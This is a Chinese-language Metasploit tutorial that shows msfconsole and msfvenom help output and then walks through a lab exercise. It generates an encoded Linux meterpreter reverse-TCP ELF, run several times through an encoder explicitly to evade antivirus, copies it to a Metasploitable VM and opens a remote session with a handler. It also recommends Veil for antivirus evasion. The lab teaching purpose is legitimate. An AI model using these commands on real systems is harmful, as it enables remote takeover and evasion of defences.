

Metasploit 简介

1、metasploit 简介

metasploit framework, 简称 msf, 是一个渗透测试框架, 用 ruby 语言写, 该框架集成了很多可用的 exploit, 比如著名的 ms08_067 等。我们可以在这个框架下进行一系列的渗透测试, 利用现有的 payload, 如 meterpreter 等进一步拿取对方的 shell。下载的地址在 github 上面, git clone 该项目到本地进行安装即可。

2、常用工具介绍

2.1 msfconsole

这是启动 msf 的终端命令, 注意因为现在 msf 默认的数据库 postgresql, 所以在启动 msf 之前需要先启动 postgresql 数据库。在终端中输 msfconsole 即可启动 msf, 如果不清楚 msfconsole 的功能可以在终端中输入 msfconsole -h 即可学习 msfconsole 相关的 options。

例如:

```

freestyle4568@freestyle4568 ~ $ msfconsole -h
Usage: msfconsole [options]

Common options
  -E, --environment ENVIRONMENT  The Rails environment. Will use RAILS_
environment variable if that is set. Defaults to production if neither opti
RAILS_ENV environment variable is set.

Database options
  -M, --migration-path DIRECTORY  Specify a directory containing additi
B migrations
  -n, --no-database               Disable database support
  -y, --yaml PATH                 Specify a YAML file containing databa
tings

Framework options
  -c FILE                         Load the specified configuration file
  -v, --version                   Show version

```

在 msfconsole 中需要注意的是, msfconsole 不仅是直接启动 msf 的工具, 还能用 msf 执行第三方相应的 payload 文件。

```
msfconsole -r payload.file
```

这个功能与 veil 配合起来很好使。veil 是编码 payload 的神器, 专门用来过杀软的, 在生成相应的 stagers 型的 payload 时, 也会生成 stages 型的 payload 供渗透端调用, 该 payload 与 msf 兼容。

2.2 msfvenom

在之前的 msf 版本中会有 msfencode, msfpayload 等工具, 学习成本比较高, 现在这些工具已经被废弃了。取而代之的是 msfvenom 工具, 可以看做它是 msfencode 与 msfpayload 的结合版, 它允许你自行生成想要的 payload。

想要学习 msfvenom, 可以在终端中打: msfvenom -h

可以看到 msfvenom 的介绍。

```

freestyle4568@freestyle4568 ~ $ msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit-framework/bin/../embedded/framework/msfvenom [options]

Options:
  -p, --payload <payload>      Payload to use. Specify a '-' or stdin to use stdin
  --payload-options             List the payload's standard options
  -l, --list [type]            List a module type. Options are: payload, encoder, arch, platform
  -n, --nopsled <length>      Prepend a nopsled of [length] size on top of the payload
  -f, --format <format>        Output format (use --help-formats for a list of available formats)
  --help-formats                List available formats
  -e, --encoder <encoder>      The encoder to use
  -a, --arch <arch>            The architecture to use
  --platform <platform>        The platform of the payload
  --help-platforms              List available platforms
  -s, --space <length>         The maximum size of the resulting payload
  --encoder-space <length>      The maximum size of the encoded payload
  -b, --bad-chars <list>       The list of characters to avoid example: '\x00\xff'
  -i, --iterations <count>     The number of times to encode the payload
  -c, --add-code <path>        Specify an additional win32 shellcode file to use
  -x, --template <path>        Specify a custom executable file to use
  -k, --keep                    Preserve the template behavior and inject the payload

```

如果你需要看到 msfvenom 现有的 payload, 可以用 `msfvenom -l payloads` 查看所有可利用的 payloads。

下面我们用 `linux/x86/meterpreter/reverse_tcp` 这个 payload 来演示生成可 x86 架构下可执行的 elf 文件。只需在命令行中输入：

```

freestyle4568@freestyle4568 ~ $ msfvenom -p
linux/x86/meterpreter/reverse_tcp --payload-options

```

即可看到该 payload 的参数选项：

```

freestyle4568@freestyle4568 ~ $ msfvenom -p linux/x86/meterpreter/reverse_tcp -
payload-options
Options for payload/linux/x86/meterpreter/reverse_tcp:

    Name: Linux Meterpreter, Reverse TCP Stager
    Module: payload/linux/x86/meterpreter/reverse_tcp
    Platform: Linux
    Arch: x86
Needs Admin: No
Total size: 193
Rank: Normal

Provided by:
    PKS
    egypt <egypt@metasploit.com>
    OJ Reeves
    skape <mmiller@hick.org>

```

值得注意的是 arch 选项，用来表示该 payload 适用的内核架构，如果是 x86 架构的内核，可以正常运行，但是如果是 x64 架构的内核就不能运行。x86_64 架构的内核是既能运行 32 位程序，又能运行 64 位程序。

关于如何查看内核架构，可以：

```
freestyle4568@freestyle4568 ~ $ uname -a
```

```
Linux freestyle4568 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC
2014 x86_64 x86_64 x86_64 GNU/Linux
```

```
msfadmin@metasploitable:~$ uname -a
```

```
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686
GNU/Linux
```

可以看到 msfadmin 的内核架构是 x86 架构，i686 架构也是 x86 的一种，该平台只能运行 32 位程序。

下面我们生成一个 metasploitable 上的 payload 可执行程序：

```

freestyle4568@freestyle4568 ~ $ msfvenom -p
linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.101 -f elf -e x86/shikata_ga_nai

```

```
-i 3 -o shell
```

```
No platform was selected, choosing Msf::Module::Platform::Linux from the
payload
```

```
No Arch selected, selecting Arch: x86 from the payload
```

```
Found 1 compatible encoders
```

```
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
```

```
x86/shikata_ga_nai succeeded with size 98 (iteration=0)
```

```
x86/shikata_ga_nai succeeded with size 125 (iteration=1)
```

```
x86/shikata_ga_nai succeeded with size 152 (iteration=2)
```

```
x86/shikata_ga_nai chosen with final size 152
```

```
Payload size: 152 bytes
```

```
Final size of elf file: 236 bytes
```

```
Saved as: shell
```

可以看到未设置的 options 是用 payload 中默认选项。下面 shell 文件即为 elf 可执行文件，适用与 x86 的 linux 内核上。同时我们 x86/shikata_ga_nai 编码对它进行 3 次编码，为了免杀。

我们将它拷贝进入 metasploitable 系统中，我们在 freestyle4568 系统中用相应的 handler 进行监听了连接。

```
freestyle4568@freestyle4568 ~ $ scp shell
msfadmin@192.168.1.103:/home/msfadmin
msfadmin@192.168.1.103's password:
shell 100% 236
0.2KB/s 00:00
```

在 msfadmin 中运行 shell 文件，然后在 freestyle4568 中用 msf 进行侦听。

```
msf > use exploit/multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.103
[*] Meterpreter session 2 opened (192.168.1.101:4444 -> 192.168.1.103:34559) at
2017-01-23 16:27:04 +0800

meterpreter > █
```

现在拿到了 meterpreter，现在基本已经控制了 192.168.1.103 了。